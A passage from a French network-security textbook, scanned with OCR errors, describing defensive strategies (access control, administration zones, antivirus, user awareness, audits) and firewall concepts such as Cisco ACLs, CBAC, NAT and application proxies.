II s'agit maintenant d' assurer que tous les acces internes au perimetre de securite sont 
controles. L'objectif de cette strategie est de s' as surer qu'aucune porte derobee interne ne 
permet d'acceder au coeur du perimetre de securite. 

Pour contourner ce risque, il faut creer un controle d'acces a toutes les portes d' entree du 
perimetre de securite. Ce controle interne est sous la responsabilite du perimetre de secu- 
rite, qui determine par ailleurs la politique d'acces a mettre en ceuvre. 

Principe 

« Des controles d'acces au sein d'un perimetre de securite sont definis afin de controler 
les portes derobees. » 

Description 

Le principe consiste a mettre en oeuvre au sein d'un perimetre de securite des controles 
d'acces internes. Pour y parvenir, il faut que tous les premiers elements intelligents 
d'acces au reseau interne du perimetre de securite fassent un controle d'acces. 

La figure 6.1 1 illustre la mise en oeuvre par les premiers elements reseau (commutateurs 
ou routeurs) reliant des equipements internes des controles d'acces au reseau interne. 



Figure 6.11 

Controles de I 'acces au 
reseau local 
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Strategie d'administration securisee 

Nous avons defini des perimetres et des postes responsables pour chacun des perimetres. 
II s'agit maintenant d' assurer une gestion ou administration securisee de chaque perime- 
tre de securite autonome. 

Une zone d'administration est en charge de verifier le bon fonctionnement ainsi que les 
modifications necessaires au bon fonctionnement de tous les composants d'un perimetre 
de securite donne. Cette zone est par nature particulierement sensible et doit etre prote- 
gee de maniere adequate. 

Pour renforcer la securite de chaque perimetre, il faut creer une zone dediee en charge de 
la gestion ou administration de ce perimetre de securite. 

Principe 

« La zone d'administration est une zone dediee et separee du reseau afin d' assurer une 
isolation des systemes charges de l' administration de chaque perimetre de securite. » 

Description 

Nous defmissons des zones speciflques d'administration pour chaque perimetre de secu- 
rite, comme illustre a la figure 6.12. 

Notre objectif consiste encore a compartimenter le reseau en creant des zones d'adminis- 
tration speciflques afin de rendre plus difficile une penetration eventuelle du reseau et de 
sa zone d'administration. 

Cette strategie d'administration doit etre couplee avec celle des goulets d'etranglement, 
qui vise a mettre en place un nombre limite de points de controle d'acces de ces perime- 
tres. 



Strategie antivirus 

La strategie antivirus consiste, pour reprendre l'analogie du chateau fort, a placer a 
certaines portes du chateau des equipes chargees de fouiller et de controler medicalement 
chaque passant et d'interdire l'acces aux personnes ou objets susceptibles de vehiculer 
des virus. 

Chaque domaine au sein du chateau a ete au prealable aseptise et comporte un docteur 
capable de diagnostiquer la moindre infection et de l'eradiquer sur-le-champ ou d'expe- 
dier le porteur dans une zone de quarantaine. 

Principe 

« Tout document numerique ou tout autre vecteur de propagation de virus fait I 'objet 
d'un controle avant de penetrer dans un perimetre de securite. » 
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Figure 6.12 

Administration d'un 
perimetre de securite 




Description 

Les virus peuvent entrer et se propager dans l'entreprise par de multiples vecteurs tels 
que les suivants : 

media amovible (disquette, CD-ROM, DVD-ROM, cle USB, etc.) ; 

courrier electronique ; 

navigateur Internet (utilisation d'une application hostile en langage Java ou autre) ; 

acces distant au reseau de l'entreprise (utilisateur itinerant) ; 

telechargement de fichier infecte. 

Les logiciels antivirus peuvent etre places en plusieurs endroits, tels que les suivants : 

points d' interconnexion entre le reseau intranet et Internet ; 

autres points d' interconnexion (acces distant, etc.) ; 

relais de messagerie interne ; 

stations de travail ; 

serveurs de fichiers : 
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• goulets d'etranglement au sein de l'entreprise ; 

• serveurs, quelle que soit leur fonction. 

Selon les choix faits par l'entreprise, le risque de propagation de virus tres actifs — SQL 
Hammer et CodeRed, par exemple, ont sature des reseaux large bande comme Internet — 
peut etre contenu ou ralenti sufflsamment longtemps pour que des contre-mesures soient 
appliquees au sein du reseau interne. 

Une bonne strategie antivirus repose, d'une part, sur l'emplacement des solutions antivi- 
rus et, d'autre part, sur la definition et le controle des procedures visant a s'assurer de 
Tinstallation des ces logiciels, de leur mise a jour et de la reponse aux incidents viraux. 
Mais Tinstallation de nouveaux systemes fait egalement partie de cette strategie. Si ces 
nouveaux systemes ne sont pas correctement configures (correctifs de securite), de vieux 
virus pourraient a nouveau impacter le fonctionnement de l'entreprise. 

Void, classees par ordre d' importance, les solutions a mettre en oeuvre : 

• L'utilisateur etant generalement le premier vehicule de virus, il faut evidemment 
installer une solution antivirus sur chaque station de travail. Les logiciels antivirus 
actuels fournissent des services de lutte contre les applications hostiles (Java, Java- 
Script, ActiveX, etc.) et assurent une securite contre les risques en provenance 
d' Internet. 

• Le deuxieme vecteur le plus utilise par les virus est le courrier electronique. II faut 
done egalement installer une solution antivirus au niveau des clients de messagerie et 
des serveurs de messagerie. Cette solution verifle tous les attachements, quel que soit 
leur format, pour les courriers entrants et sortants du reseau d'entreprise vers Internet. 
Cette solution agit comme un goulet d'etranglement pour la messagerie. 

• Le troisieme vecteur de propagation des virus est constitue par les points de concentra- 
tion des ressources internes et externes (tels que les serveurs de flchiers, les serveurs 
Web, etc.). II faut done egalement proteger ces unites en commen^ant par celles qui 
offrent des services de partage de disque et par les services reseau ay ant deja ete 
utilises comme vecteurs de propagation (HTTP, FTP, TFTP, etc.). 

• Par la suite, les points de communication entre le reseau interne et d'autres reseaux, 
comme Internet, peuvent assurer un controle de virus. Une passerelle chargee de 
controler tous les flux reseau vecteurs de virus peut etre mise en place sur la sortie 
Internet, par exemple, puis sur d'autres sorties. 

• Restent les points d'entree des acces distants. Selon 1' architecture choisie, le cout 
d'une solution antivirus peut varier sensiblement. Si le service d'acces distant passe 
par la solution d'acces Internet, via une interface reseau dediee, le controle anti- 
virus est assure par la solution globale. II peut aussi etre necessaire d'installer un 
pare-feu entre le service d'acces distant et le reseau interne de l'entreprise. Cette 
derniere solution permet de mettre en place des controles de flux sur ce point 
d'entree. 
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Le principe consistant a utiliser des types de protection diversifies implique d'utiliser des 
solutions logicielles differentes, par exemple une marque pour les antivirus sur les 
stations de travail et les serveurs, une autre pour la passerelle Internet et une derniere 
pour la passerelle de courrier (SMTP). Chaque solution peut de la sorte pallier les even- 
tuelles faiblesses d'une autre. 

Strategie de participation universelle 

Cette strategie repose sur une education (awareness) des utilisateurs — les habitants du 
chateau fort dans notre analogie — , destinee a leur faire prendre conscience qu'ils font 
partie d'un ensemble et qu'ils doivent contribuer par leur comportement a securiser et 
proteger les biens communs. 

Principe 

« Des campagnes d' information et de sensibilisation a la securite sont lancees afin de 
faire comprendre les risques que font peser sur V entreprise les menaces exterieures. » 

Ces campagnes sont completees par des tests sous forme ludique destines a s' assurer de 
leur efficacite, voire a des recompenses pour les plus meritants. 

Description 

Une campagne d' information et de sensibilisation de la securite vise a inciter les 
employes a : 

• Verrouiller leur station de travail lorsqu'ils ne l'utilisent pas. 

• Ne laisser entrer aucune personne qui ne possede pas de badge de 1' entreprise, et 
signaler toute personne qui ne possede pas de badge de 1' entreprise aux services de 
securite. 

Ne pas installer de logiciel sur leur station de travail. 

Ne pas s'echanger de fichiers par d'autres moyens que ceux en place. 

Utiliser un mot de passe non trivial. 

Ne pas inscrire leur mot de passe sur un papier colle sur leur ecran ou leur bureau. 

Ne pas laisser les fenetres ouvertes lorsqu'elles debouchent sur un toit. 

Ne pas bloquer en position ouverte les portes qui doivent rester fermees (salle 
machine, etc.). 

Ces campagnes sont soutenues par la direction generate de 1' entreprise afin de demontrer 
que ces pratiques s'appliquent a tout le personnel sans distinction hierarchique. 

Elles peuvent s'appuyer sur des affiches dans les lieux publics de l'entreprise mais egale- 
ment sur la fourniture d'outils d'usage quotidien, tels que boule antistress, calendrier, 
agenda, economiseur d' ecran proposant, par exemple, des quiz, etc. 



144 



Tableaux de bord de la securite reseau 



Strategie de controle regulier 

La strategie de controle regulier consiste a simuler des tentatives de penetration surprises 
afln de verifier le bon fonctionnement des mecanismes de securite. 

Principe 

« L' application de la politique de securite est validee par un controle de securite 
regulier. » 

Description 

Lorsque l'entreprise s'interconnecte a Internet, elle fait souvent appel a une tierce partie 
consultante, censee maitriser la mise en place de ce service. Comme l'entreprise ne peut 
juger de la pertinence de la securite implementee, elle doit faire controler regulierement 
la securite par une tierce partie afln de detecter et de corriger les faiblesses de securite 
eventuelles. 

Ces controles de securite s'appliquent a tous les aspects de l'entreprise, notamment les 
suivants : 

• procedures et politiques documentees ; 

• topologie reseau ; 

• materiels, logiciels et systemes d' exploitations reseau ; 

• securite physique et systemes d' information. 

Les controles visent generalement les objectifs suivants : 

• analyse des diagrammes reseau et des configurations des routeurs et pare-feu ; 

• verification de 1' application de toutes les regies de la politique de securite ; 

• analyse des procedures de reaction face a des incidents de securite ; 

• conduite d'entretiens sur site afln de collecter des informations sur 1' infrastructure de 
communication, les politiques non documentees et les contraintes operationnelles. 

Les categories d' observation incluent au minimum les suivantes : 

securite physique des systemes et des locaux ; 

topologie des architectures reseau presentes et futures ; 

systemes d'acces distants ; 

connexions a Internet ; 

pare-feu et routeurs externes ; 

qualite de 1' authentication et des mots de passe ; 

securite des serveurs Web, FTP et SMTP ; 

permissions et privileges dermis sur les serveurs. 
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En resume 



Toute politique de securite reseau s'accompagne d'un ensemble de strategies ay ant pour 
objectif non seulement d'etablir un premier niveau de regies de securite, mais aussi de 
mettre en oeuvre des solutions techniques dans une seconde etape. 

Les architectures reseau et les services offerts deviennent de plus en plus complexes. 
Cette complexity est susceptible de remettre en cause les mecanismes de securite preala- 
blement definis. L'entreprise doit done etre a la fois adaptable et reactive dans ses choix 
strategiques arm de proteger ses perimetres de securite. 

Apres avoir defini les politiques et strategies de securite reseau, nous detaillons a la partie 
suivante un ensemble de solutions techniques qu'il est possible de mettre en oeuvre afin 
de proteger le reseau et ses services des attaques reseau. 



Partie 



Les techniques 

de parade aux attaques 



La securite d'un reseau repose avant tout sur la securite des equipements ou systemes 
reseau qui le composent. Cette derniere concerne les trois domaines principaux 
suivants : 

• Securite physique. II s'agit de la protection des equipements reseau face aux 
menaces de feu, d'inondation, de panne de courant, etc. Des equipements de protec- 
tion tels qu'extincteurs, onduleurs, etc., permettent de se proteger de ces menaces. 

• Securite du systeme Sexploitation (operating system). II s'agit de se premunir 
des faiblesses de securite ou des bogues du systeme d' exploitation qui s'executent 
sur l'equipement reseau. Seuls des tests de non-regression et de securite permettent 
de detecter certaines de ces faiblesses. 

• Securite logique. II s'agit de se premunir des faiblesses de configuration de l'equi- 
pement ou du systeme reseau. Seules des regies de configuration securisees permet- 
tent de se premunir contre ce type d'erreur. 

La securite du systeme d' exploitation est difficile a maitriser, du fait que ce dernier est 
generalement proprietaire et que les sources ne sont pas disponibles. En revanche, la 
securite physique et la securite logique des equipements reseau et des systemes sont 
des axes majeurs de la politique de securite reseau. 

Nous ne detaillons dans le contexte de cet ouvrage que les solutions de securite logi- 
que qu'il est possible de mettre en oeuvre arm de proteger le reseau et ses services des 
menaces qu'il encourt. 

Cette partie III est divisee en cinq chapitres, qui couvrent les domaines specifiques de 
la securite reseau : 

• Protection des acces reseau. Le chapitre 7 traite des techniques de flltrage des 
protocoles reseau et des couches de securite deflnies dans les protocoles reseau et 
applicatifs. 

• Protection des acces distants. Le chapitre 8 presente les techniques d'authentiflca- 
tion et les protocoles reseau dedies aux acces distants. 



• Protection des equipements reseau. Le chapitre 9 detaille les techniques de configu- 
ration des equipements reseau, tels que les commutateurs, routeurs, ainsi que les proto- 
cols de gestion associes. 

• Protection des systemes reseau. Le chapitre 10 detaille les techniques de configura- 
tion et de codage des systemes reseau offrant des services a valeur ajoutee pour le 
reseau (tels que les systemes Unix offrant des services DNS, NTP, SNMP, etc. ), les 
methodes de programmation defensives, etc. 

• Protection de la gestion reseau. Le chapitre 11 detaille les techniques d' administra- 
tion d'un reseau, tels que les protocoles de routage, de supervision, etc. 

Quelle que soit la solution technique retenue, la prise en compte des contraintes de secu- 
rite, des la phase de specification d'un projet, est une demarche capitale, car la securisa- 
tion d'une architecture ou de services deja mis en place genere inevitablement de 
nouveaux problemes de securite, appeles effets de bord. 

Nous presentons dans ces cinq chapitres les avantages et inconvenients des techniques de 
securite existantes. Le lecteur pourra de la sorte se faire une idee precise des solutions qui 
repondent le mieux a ses besoins de securite. 




Protection des acces reseau 



La protection des acces reseau consiste non seulement a maitriser les flux reseau qui tran- 
sitent dans l'entreprise par 1' implementation de systemes pare-feu, mais aussi a assurer 
un niveau de confidentialite suffisant des donnees qui seront transmises a l'aide de proto- 
coles de securite tels que IPsec. 

Ce chapitre traite de ces deux problemes, filtrage et confidentialite, et detaille leurs solu- 
tions techniques. 



Controler les connexions reseau 

Tout acces a un reseau externe au reseau d'entreprise doit faire l'objet d'un controle 
d'acces afin de ne laisser passer que le trafic autorise. L'objectif d'un tel controle est a la 
fois de creer un perimetre de securite, de limiter le nombre de points d'acces afin de faci- 
liter la gestion de la securite, mais aussi de disposer de traces systemes en cas d' incident 
de securite. 

De maniere plus generale, 1' interconnexion entre deux reseaux de niveau de securite 
different — 1' interconnexion du reseau d'entreprise a Internet, par exemple — doit faire 
l'objet d'un controle d'acces specifique, un peu a la maniere des compartiments d'un 
sous-marin. 

En filtrant le trafic entrant et sortant du reseau d'entreprise, on reduit tout d'abord l'eventail 
des attaques possibles aux seuls services autorises a transiter sur le reseau. De plus, suivant 
le niveau de granularite du controle de filtrage mis en place, on peut se premunir contre les 
attaques de type deni de service, spoofing, etc., ainsi que contre les attaques applicatives sur 
les programmes CGI (Common Gateway Interface) d'un site Web — si Ton met en place 
un filtrage applicatif (proxy) — ou les attaques a partir de programmes Java, etc. 
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Le pare-feu est le systeme qui a en charge de mettre en ceuvre une politique de filtrage 
des protocoles reseau. Comme nous allons le detailler, les differents concepts de pare-feu 
existants autorisent des filtrages plus ou moins fins. 



Les pare-feu 



Un pare-feu est un composant reseau qui permet non seulement de concentrer 1' adminis- 
tration de la securite en des points d'acces limites au reseau d'entreprise mais aussi de 
creer un perimetre de securite, par exemple entre le reseau intranet de l'entreprise et le 
reseau Internet. 

Une architecture a base de pare-feu offre l'avantage de concentrer les efforts de securite 
sur un unique point d' entree. Grace a des mecanismes de filtrage en profondeur ainsi 
qu'a des fonctions de journalisation des evenements, les pare-feu sont en outre des 
elements cruciaux pour les investigations de securite. 

Les principaux concepts de pare-feu sont le filtrage de paquets, pour filtrer les paquets de 
la couche reseau (IP, etc.), le filtrage a memoire, pour filtrer les paquets de maniere dyna- 
mique en adaptant les regies de filtrage, la passerelle de niveau circuit, pour filtrer les 
paquets en gerant le concept de session, et la passerelle de niveau applicatif, pour filtrer 
jusqu'aux protocoles des couches applicatives. 

Les sections qui suivent detaillent ces differents concepts. 

Filtrage de paquets 

Un pare-feu par filtrage de paquets realise le filtrage au niveau des protocoles de la 
couche 3 ISO, sans memoire des etats des sessions. Aucune information n'est done 
conservee de 1' analyse de chaque paquet, et aucune correlation entre les paquets n'est 
effectuee par le pare-feu. 

Le pare-feu agit comme une sonde placee sur le trafic reseau, qui n'intervient pas sur les 
connexions IP/TCP etablies. 

Comme illustre a la figure 7.1, chaque paquet est filtre selon les criteres suivants : 

• adresse IP de l'emetteur du paquet ; 

• adresse IP du destinataire du paquet ; 

• type de protocole (EIGRP, GRE, ICMP, IGMP, IP, IPINIP, NOS, OSPF, PIM, TCP, 
UDP, etc.) ; 

• numeros de ports source et destination. 

La mise en ceuvre de tels mecanismes de filtrage est relativement aisee, notamment au 
travers d'une ACL (Access Control List) sur un routeur. La puissance de traitement du 
pare-feu est generalement efficace pour autant que le nombre d' entrees et de regies prises 
en compte par le filtrage soit limite et que le filtre soit optimise. 
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Figure 7.1 
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Ce filtrage est dit statique et s' applique principalement aux couches 3 et 4 du modele 
ISO. II ne prend en compte ni les etats des sessions, ni le filtrage des applications, ni 
l'authentification des utilisateurs, etc. 

De tels filtres constituent un premier element de filtrage, avec des regies de filtrage limi- 
tees et simplifiees. lis ne peuvent toutefois etre utilises que dans des contextes determi- 
nes, en conjonction avec d'autres elements de securite. 

Routeurs et ACL classiques 

Les ACL (Access Control List) sont generalement implementees dans les routeurs ou les 
commutateurs. Une ACL est une liste ordonnee d' ACE (Access Control Entry) decrivant 
des regies de filtrage a appliquer au trafic de donnees. 

Les ACL standards permettent de filtrer le trafic IP a partir des adresses sources des 
paquets IP, comme dans la commande Cisco suivante : 

access-list {numero (id} {deny permit} {source} [masque inverse] 

Les ACL etendues permettent de filtrer les protocoles (EIGRP, GRE, ICMP, IGMP, IP, 
IPINIP, NOS, OSPF, PIM, TCP, UDP, etc.), ainsi que l'adresse IP et le port source, 
l'adresse IP et le port destination et d'autres options, comme dans la commande Cisco 
suivante : 



i 



access-list {numero (id} {deny permit} protocole} {source} {masque inverse} [port] 
destination} {masque inverse} [port] [log log-input] [fragments] [established] 



Ces ACL sont generalement appliquees au trafic entrant (ingress) ou sortant (egress) de 
l'interface d'un equipement reseau, comme illustre a la figure 7.2. 

Pour chaque paquet IP traversant une interface sur laquelle est appliquee une ACL, les 
entrees de l'ACL sont parcourues sequentiellement, selon l'ordre de configuration des 
ACE. La lecture s'arrete lorsqu'une des conditions est remplie par une ACE. 
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Figure 7.2 

Mise en ceuvre d'un filtrage 
de paquets par ACL 
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Certaines ACL, dites permissives, ne contiennent que des regies de type permi t . Le rejet 
(deny) est implicite si aucune ACE ne correspond (match). La directive 1 og active la jour- 
nalisation si le paquet correspond a l'ACE. La directive 1 og-i nput journalise de surcroit 
l'interface et l'adresse MAC de la source. 

Dans l'exemple ci-dessous, tout est rejete avec une journalisation explicite : 

/* autorise le trafic icmp */ 
access-list 100 permit icmp any any 
/* detruit tout le reste du trafic */ 
access-list 100 deny ip any any log-input 

Routeurs et Turbo ACL 

Le temps de passage dans une ACL est directement proportionnel au nombre d'ACE. 
Plus 1' ACL est longue, plus le temps de traitement requis par la lecture sequentielle des 
entrees ACE est important et plus l'impact sur les ressources du routeur se fait sentir. Le 
pire des cas est qu'aucune regie ou ACE de 1' ACL ne corresponde aux paquets traversant 
cette ACL, car toutes les regies doivent alors etre consultees pour chaque paquet. 

Les Turbo ACL, aussi appelees ACL compilees (Access-List Compiled), ont pour objec- 
tif de reduire le temps processeur tout en limitant l'impact du filtrage sur les ressources 
de l'equipement reseau. 

Une fois compilees, les Turbo ACL sont transferees puis traitees par des ASIC (Applica- 
tion-Specific Integrated Circuit), qui sont des circuits integres programmes pour effec- 
tuer des taches speciflques. De cette maniere, le parcours de l'ACL est accelere, sans 
impacter les ressources de l'equipement reseau. 

Routeurs et Control Plane ACL 

Un routeur a logiquement pour fonction de gerer trois trafics principaux : le trafic des 
donnees, le trafic d' administration et le trafic de routage. Sachant que la majorite des 
attaques susceptibles d' impacter un routeur pointe generalement sur les deux dernieres 
fonctions, une ACL appelee Control Plane a ete deflnie afln de controler le trafic a desti- 
nation du routeur. L'objectif de cette ACL est de fUtrer le trafic avant qu'il n'atteigne reel- 
lement le plan d' administration ou de routage. 
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La definition d'une telle ACL consiste a definir differents types de trafics correspondant 
a des criteres fondes sur les protocoles et les adressages IP, ainsi que, pour chaque type de 
trafic, une politique de service consistant soit a detruire le trafic, soit a limiter la bande 
passante associee. 

Une telle ACL est fondamentale, car elle permet de limiter les impacts d'attaques even- 
tuelles sur un routeur, de centraliser au sein d'une meme ACL le controle du trafic a desti- 
nation du routeur, mais aussi de filtrer de maniere efficace ce trafic. 

Filtrage dynamique 

Les applications utilisent des ports sources dont on ne peut connaitre a l'avance la valeur 
(le port source est choisi aleatoirement entre 1024 et 65535 dans le cas d'un flux TCP, par 
exemple). Le filtrage dynamique, ou stateful, de paquets permet de suivre l'etat des 
sessions et d' adapter de maniere dynamique les regies du pare-feu. 

Les performances de ce type de pare-feu sont generalement bonnes, puisque le filtrage 
consiste en une simple inspection du trafic de donnees. Cependant, les pare-feu eux- 
memes sont assez complexes a configurer du fait du grand nombre d' options de filtrage 
disponibles. De plus, ils sont generalement couples a des systemes de translation 
d'adresse et de translation de port afin de cacher le plan d'adressage interne du reseau 
d'entreprise. 

Le pare-feu de la societe Checkpoint utilise de plus une solution de recherche des regies 
de filtrage proprietaire. II s'agit d'une technique de hachage sur le trafic, permettant de 
pointer directement sur la bonne regie de securite, sans devoir parcourir toutes les regies 
de filtrage. Ce modele de traitement d' ACL procure un gain de performances considera- 
ble compare aux traitements sequentiels des ACL. 

Routeurs et CBAC 

Le mecanisme CBAC (Context-Based Access Control) des pare-feu feature sets IOS de 
Cisco permet de realiser des filtrages sur l'etat des connexions en examinant les informa- 
tions des couches 3 et 4 du modele OSI. Les CBAC examinent egalement des elements 
des couches superieures afin d'inspecter l'etat des sessions a la fois TCP et UDP. Pour les 
flux UDP, l'inspection s'appuie sur les informations contenues dans les paquets UDP afin 
de determiner d'eventuelles attaques. 

Toutes les informations des sessions en cours sont maintenues a jour afin de decider des 
actions a entreprendre sur les paquets traversant l'equipement reseau. Les filtres CBAC 
definissent les protocoles autorises, tels que Telnet, SNMP, HTTP, FTP, etc. Ces derniers 
doivent etre inspectes au moyen de la commande de configuration Cisco suivante : 

ip inspect name nom_cbac protocol 

Un filtre CBAC est applique sur le trafic entrant {ingress) ou sortant {egress) d'une inter- 
face via la commande de configuration Cisco suivante : 

ip inspect nom_cbac in/out 
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Puisque CBAC agit au niveau du protocole, il doit etre associe a des ACL classiques, 
dont il modifie dynamiquement les entrees afln d'autoriser des traflcs, par exemple de 
type FTP. Ces modifications dynamiques ne sont pas possibles pour les ACL classiques, 
qui deflnissent des entrees ACE de maniere statique. 

Lorsqu'une session se termine, les etats associes et les regies creees dynamiquement 
dans les ACL sont detruits. 

Passerelle de niveau circuit 

Une passerelle de niveau circuit est un pare-feu qui agit comme intermediate, ou passe- 
relle, au niveau du perimetre de securite du reseau d'entreprise. 

Chaque connexion qui traverse le perimetre de securite correspond a deux connexions 
realisees par la passerelle, Tune entre l'utilisateur et le pare-feu et l'autre entre le pare- 
feu et le systeme vise par l'utilisateur (voir figure 73). 



Figure 7.3 
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Ce type de pare-feu permet de fUtrer et gerer les trafics TCP et UDP, c'est-a-dire les 
informations telles que l'etat des sessions TCP, les ports sources TCP et UDP, le sequen- 
cement associe aux paquets, les adresses IP et interfaces physiques associees aux 
sessions en cours, etc. 

Le pare-feu est generalement utilise pour la translation d' adresses, ou NAT (Network 
Address Translation), et de port, ou PAT (Port Address Translation), afln de cacher le 
plan d'adressage interne du reseau d'entreprise. 

Bien que le NAT ait ete initialement mis en place pour faire face a la penurie des adresses 
IPv4, ce mecanisme permet de « cacher » un grand nombre de systemes derriere une 
seule adresse IP et ameliore par ce biais la securite du reseau interne. Les protocoles de 
type TCP et UDP peuvent etre « NATes », comme nous le detaillons ci-apres, ainsi que 
d'autres protocoles tels que ICMP, FTP, etc. 
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Le SNAT (Source NAT) consiste a modifier l'adresse IP source d'un paquet emis vers le 
reseau externe. En revanche, le DNAT (Destination NAT) consiste a modifier l'adresse IP 
destination d'un paquet emis vers le reseau interne. 

On distingue deux types de NAT : 

• Le NAT statique, qui fait correspondre a n adresses IP n autres adresses IP. Ce mode 
est utilise pour les systemes du reseau interne qui doivent etre joignables de l'exterieur 
(serveurs Web, mail, FTP, etc.). On parle egalement de NAT « un a un » (one-to-one). 

• Le NAT dynamique, qui fait correspondre a n adresses IP une seule autre adresse IP. 
Dans ce cas, lors de remission d'un paquet vers un reseau externe, la passerelle 
effectue a la fois une modification de l'adresse IP source avec l'unique adresse IP 
definie, mais aussi du port TCP/UDP source, avec un port unique de son choix pour les 
traflcs en cours afln d'etablir une relation sans equivoque avec les paquets qui seront 
rectus ulterieurement. Ce mode est utilise pour les systemes du reseau interne qui ne 
doivent pas etre accessibles de l'exterieur. On parle egalement de NAT « un a 
plusieurs » (one -to -many). 

Les flltres associes au pare-feu ne sont plus lus ou e values que lors de l'etablissement de 
la connexion, ce qui evite une relecture des flltres pour chaque paquet reseau. En revan- 
che, lors de l'activation d'une translation d'adresse, quelle qu'elle soit, les numeros de 
sequences des paquets sont verifies afln de s' assurer que le traflc en cours est bien la suite 
de celui qui a justifle l'ouverture de session. 

Les performances de ces pare-feu sont assez bonnes puisque le flltrage reste limite aux 
niveaux 3 et 4 du modele OSI. Cependant, l'authentiflcation reste limitee a l'adresse IP, 
et les protocoles superieurs a la couche de transport OSI, tels que Telnet, FTP, etc., ne 
sont pas pris en compte. 

Passerelle de niveau applicatif 

Dans le flltrage de niveau applicatif, egalement appele proxy, le pare-feu agit comme un 
flltre au niveau applicatif, c'est-a-dire au niveau 7 du modele OSI. Pour y parvenir, 
chaque application (Telnet, FTP, SMTP, HTTP, etc.) est implementee sur le pare-feu par 
l'intermediaire d'un agent agissant comme un relais applicatif. 

Chaque connexion qui traverse le perimetre de securite correspond done a deux 
connexions realisees par le proxy applicatif, l'une entre l'utilisateur et le pare-feu, l'autre 
entre le pare-feu et le systeme vise par l'utilisateur (voir figure 7.4). 

Ce type de pare-feu permet de flltrer les protocoles applicatifs en deflnissant des regies 
de flltrage en profondeur. Void deux exemples de telles regies : 

• Un utilisateur ne peut deposer que des flchiers sur le serveur FTP, et seules les requetes 
de type ftp put sont autorisees. 

• Seules les requetes HTTP de lecture de type http get sont autorisees. 

Les pare-feu de niveau applicatif permettent de mettre en place des services d'authentifl- 
cation des utilisateurs nettement plus puissants que ceux par adresse IP. lis cachent le 
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Figure 7.4 
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plan d'adressage interne du reseau d'entreprise et offrent des donnees de journalisation 
d'evenements tres detaillees. 

Les performances sont toutefois le point de faiblesse de ces pare-feu, qui necessitent des 
puissances de traitement importantes afln de ne pas impacter le trafic de donnees. La 
plupart d'entre eux ne prennent en compte ni les trafics fondes sur UDP ni les protocoles 
applicatif s de type RPC (Remote Procedure Call). 

Les produits du marche 

Beaucoup de produits disponibles sur le marche cumulent les possibilites de filtrage, en 
offrant a la fois des fonctions de filtrage de paquets et de passerelle applicative. Un pare- 
feu composite reste cependant plus performant dans le filtrage pour lequel il est initiale- 
ment prevu. 

Le pare-feu de Checkpoint Software, par exemple, est con^u au depart pour faire du 
filtrage dynamique de paquets, selon la technique dite Stateful Inspection. Le pare-feu 
Gauntlet de Trusted Information Systems a ete de son cote le premier pare-feu a faire du 
filtrage de type applicatif. 

Meme si ces produits peuvent faire des filtrages de type applicatif ou de paquets, ils 
demeurent avant tout des references dans leur domaine de predilection. 

Le choix d'un pare-feu n'est done pas simple si Ton n'a pas identifie avec soin les 
besoins de securite de l'entreprise. La definition d'une politique de securite vient 
toujours en premier, et 1' analyse des produits repondant aux besoins exprimes en second. 

Voici les principaux criteres a considerer pour le choix de produits de filtrage : 

• Quels sont les moyens d' administration du pare-feu (gestion, interface utilisateur, 
acces distants, roles, etc.) ? 
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• Quelles sont les possibilites d' audit des regies de filtrage implementees et des journaux 
d'activite (verification de la consistance des regies de filtrage, verification des 
dernieres sauvegardes des journaux d'activite, integrite des flchiers contenant les 
regies de securite, etc.) ? 

• Quel est le niveau de detail des regies de filtrage ? 

• Quelles sont les options offertes pour gerer et archiver les journaux d'activite du pare- 
feu ? Quels sont les indicateurs d'etat du processus de gestion de ces journaux ? 

• Quelles sont les reactions du pare- feu en cas de probleme (perte d'un lien de 
connexion, perte d'integrite de la base de regies de filtrage, etc.) ? 

• Quelles sont les interfaces possibles avec d'autres equipements de securite, tels les 
systemes de detection d'intrusion, d'authentification des utilisateurs, de detection des 
virus, etc. ? 

• Quels sont les mecanismes offerts pour mettre en place une architecture de pare-feu a 
haute disponibilite ? 

• Quelles sont les dernieres vulnerabilites ou faiblesses de securite qui ont ete detectees 
sur le pare-feu ? La fourniture de correctifs de securite est-elle rapide ? 

• Quelles sont les certifications de securite qui ont ete attributes au pare-feu ? 

Le choix d'un pare-feu doit etre dicte par des objectifs de securite precis. Le tableau 7.1 
recense les principales fonctions offertes par quelques pare-feu du marche. 

Tableau 7.1 Fonctions principales des pare-feu du marche 





Filtre hors contexte 


Filtre 
contextuel 


Proxy circuit 


Proxy applicatif 


Produit typique 


Access Control List 
(Cisco) 


Pare-feu-1 
(Checkpoint) 


PIX (Cisco) 


Gauntlet 


Modele d'implementation 


Automate sans 
memoire secondaire 


Automate a 
memoire 


Automate a memoire 


Automate a memoire 


NAT/PAT 


Non 


Oui 


Oui 


Oui 


Performant 


Oui 


Oui 


Oui 


Non 


Universal ite 


Elementaire 


Moyenne 


Moyenne 


Forte 


Puissance d'expression 


Couches 3 et 4 


Couches 3 et 4 


Couches 3 et 4 


Couche 7 


Nombre de regies 
de filtrage 


Faible, compte tenu 
des impacts possibles 


Important 


Important 


Faible, compte tenu 
des impacts possibles 



La fonction principale d'un equipement de type routeur ou commutateur est de router et 
faire suivre — on dit aus si forwarder ou switcher — le traflc aussi rapidement que possi- 
ble, en evitant des pertes de paquets, des congestions reseau et des problemes de gigue du 
reseau. Le filtrage de paquets hors contexte n'est pas un mecanisme de securite au sens 
strict du terme. II permet avant tout de limiter en amont le traflc non autorise ou autorise. 
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II convient de separer dans des equipements dedies les elements de securite ayant des 
objectifs differents, par exemple un routeur en charge de faire suivre (switcher) le trafic 
de donnees, un pare-feu en charge de flltrer ce trafic (controle d'acces) et le boitier de 
chiffrement en charge de chiffrer ce trafic (confidentialite). 

Enfin, le filtrage du trafic au sein d'un equipement reseau a des fins de detection de virus 
ou autre detourne 1' equipement reseau de sa vocation premiere et engendre un faux senti- 
ment de securite. II faut, la encore, dedier des equipements specifiques a la detection des 
intrusions et des virus : un routeur en charge de switcher le trafic de donnees, un pare-feu 
en charge de flltrer ce trafic et un systeme en charge de detecter les intrusions de donnees. 



Regies de securite des pare-feu 

Les regies generates de securite a considerer pour les pare-feu sont les suivantes : 

Tout acces externe au reseau d'entreprise est filtre en appliquant le principe suivant lequel « tout ce 
qui n'est pas autorise est interdit ». 

Le niveau de profondeur du filtrage — couches OSI reseau (3), transport (4) et application (7) — est 
decide en fonction des besoins de securite. Le controle le plus fin s'effectue au niveau applicatif. 

Tout filtre detruit le trafic non autorise sans donner de reponse aux requetes prealablement emises. 

Tout trafic detruit par un filtre est stocke dans des journaux d'activite archives a des fins d'investigation 
de securite. De maniere plus pratique, les regies de filtrage qui doivent generer des journaux d'activite 
sont connues. 

